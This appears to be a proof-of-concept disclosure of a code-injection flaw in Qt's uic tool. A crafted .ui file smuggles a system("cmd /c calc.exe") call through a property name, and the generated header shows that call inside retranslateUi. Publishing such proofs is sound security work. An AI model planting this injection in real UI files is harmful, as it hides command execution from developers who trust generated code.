uic: Code Injection to Potential Code Execution

<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
    <class&gt;MainWindow</class&gt;
    <widget class="QMainWindow" name="MainWindow">
        <property name="geometry">
            <rect>
                <x>0</x>
                <y>0</y>
                <width>1000</width>
                <height>500</height>
            </rect>
        </property>
        <property name="windowTitle">
            <string>MainWindow</string>
        </property>
        <widget class="QWidget" name="centralwidget">
            <widget class="QLabel" name="label">
                <property name="geometry">
                    <rect>
                        <x>10</x>
                        <y>0</y>
                        <width>1000</width>
                        <height>50</height>
                    </rect>
                </property>
                <property name="text(&quot;Hello world!&quot;); system(&quot;cmd /c calc.exe&quot;);//">
                    <string>TextLabel</string>
                </property>
            </widget>
        </widget>
    </widget>
    <resources/>
    <connections/>
</ui>

/********************************************************************************
** Form generated from reading UI file 'untitled.ui'
**
** Created by: Qt User Interface Compiler version 5.11.1
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UNTITLED_H
#define UNTITLED_H
#include <QtCore/QVariant>
#include <QtWidgets/QApplication>
#include <QtWidgets/QLabel>
#include <QtWidgets/QMainWindow>
#include <QtWidgets/QWidget>

QT_BEGIN_NAMESPACE
class Ui_MainWindow
{
public:
    QWidget *centralwidget;
    QLabel *label;
    void setupUi(QMainWindow *MainWindow)
    {
        if (MainWindow->objectName().isEmpty())
            MainWindow->setObjectName(QStringLiteral("MainWindow"));
        MainWindow->resize(1000, 500);
        centralwidget = new QWidget(MainWindow);
        centralwidget->setObjectName(QStringLiteral("centralwidget"));
        label = new QLabel(centralwidget);
        label->setObjectName(QStringLiteral("label"));
        label->setGeometry(QRect(10, 0, 1000, 50));
        MainWindow->setCentralWidget(centralwidget);
        retranslateUi(MainWindow);
        QMetaObject::connectSlotsByName(MainWindow);
    } // setupUi
    void retranslateUi(QMainWindow *MainWindow)
    {
        MainWindow->setWindowTitle(QApplication::translate("MainWindow", "MainWindow", nullptr));
        label->setText("Hello world!"); system("cmd /c calc.exe");//(QApplication::translate("MainWindow", "TextLabel", nullptr));
    } // retranslateUi
};

namespace Ui {
    class MainWindow: public Ui_MainWindow {};
} 

// namespace
UiQT_END_NAMESPACE

#endif // UNTITLED_H